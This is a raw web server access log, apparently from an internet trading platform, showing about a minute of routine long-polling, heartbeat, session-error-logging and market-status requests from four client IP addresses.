[09/Jan/2026:14:52:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941821266 HTTP/1.1" -
[09/Jan/2026:14:52:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941815593 HTTP/1.1" -
[09/Jan/2026:14:52:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941809123 HTTP/1.1" -
[09/Jan/2026:14:52:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:52:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941809806 HTTP/1.1" -
[09/Jan/2026:14:52:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941826296 HTTP/1.1" -
[09/Jan/2026:14:52:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:52:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:52:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:52:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:52:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941820669 HTTP/1.1" -
[09/Jan/2026:14:52:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:52:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941814318 HTTP/1.1" -
[09/Jan/2026:14:52:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941814858 HTTP/1.1" -
[09/Jan/2026:14:52:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941831877 HTTP/1.1" -
[09/Jan/2026:14:52:30 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941825702 HTTP/1.1" -
[09/Jan/2026:14:52:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941819889 HTTP/1.1" -
[09/Jan/2026:14:52:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941819377 HTTP/1.1" -
[09/Jan/2026:14:52:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941836909 HTTP/1.1" -
[09/Jan/2026:14:52:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:52:35 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941830810 HTTP/1.1" -
[09/Jan/2026:14:52:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941824929 HTTP/1.1" -
[09/Jan/2026:14:52:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941824499 HTTP/1.1" -
[09/Jan/2026:14:52:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941841932 HTTP/1.1" -
[09/Jan/2026:14:52:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941835895 HTTP/1.1" -
[09/Jan/2026:14:52:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941829955 HTTP/1.1" -
[09/Jan/2026:14:52:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941829630 HTTP/1.1" -
[09/Jan/2026:14:52:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:52:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941846998 HTTP/1.1" -
[09/Jan/2026:14:52:45 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941841022 HTTP/1.1" -
[09/Jan/2026:14:52:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941834999 HTTP/1.1" -
[09/Jan/2026:14:52:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941834817 HTTP/1.1" -
[09/Jan/2026:14:52:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941852065 HTTP/1.1" -
[09/Jan/2026:14:52:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:52:50 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941846056 HTTP/1.1" -
[09/Jan/2026:14:52:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941840049 HTTP/1.1" -
[09/Jan/2026:14:52:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941839948 HTTP/1.1" -
[09/Jan/2026:14:52:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941857130 HTTP/1.1" -
[09/Jan/2026:14:52:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:52:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:52:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:52:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:52:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:52:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:52:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941851136 HTTP/1.1" -
[09/Jan/2026:14:52:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941845097 HTTP/1.1" -
[09/Jan/2026:14:52:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941844994 HTTP/1.1" -
[09/Jan/2026:14:52:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941862199 HTTP/1.1" -
[09/Jan/2026:14:53:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941856163 HTTP/1.1" -
[09/Jan/2026:14:53:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941850125 HTTP/1.1" -
[09/Jan/2026:14:53:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941850047 HTTP/1.1" -
[09/Jan/2026:14:53:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941867220 HTTP/1.1" -
[09/Jan/2026:14:53:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:53:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941861260 HTTP/1.1" -
[09/Jan/2026:14:53:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941855160 HTTP/1.1" -
[09/Jan/2026:14:53:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941855191 HTTP/1.1" -
[09/Jan/2026:14:53:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941872253 HTTP/1.1" -
[09/Jan/2026:14:53:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941860189 HTTP/1.1" -
[09/Jan/2026:14:53:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941866348 HTTP/1.1" -
[09/Jan/2026:14:53:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941860400 HTTP/1.1" -
[09/Jan/2026:14:53:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:53:12 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941877274 HTTP/1.1" -
[09/Jan/2026:14:53:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941865232 HTTP/1.1" -
[09/Jan/2026:14:53:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941871445 HTTP/1.1" -
[09/Jan/2026:14:53:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941865528 HTTP/1.1" -
[09/Jan/2026:14:53:17 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941882331 HTTP/1.1" -
[09/Jan/2026:14:53:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:53:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941870275 HTTP/1.1" -
[09/Jan/2026:14:53:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941876479 HTTP/1.1" -
[09/Jan/2026:14:53:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941870662 HTTP/1.1" -
[09/Jan/2026:14:53:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941887362 HTTP/1.1" -
[09/Jan/2026:14:53:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:53:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:53:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:53:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:53:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:53:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
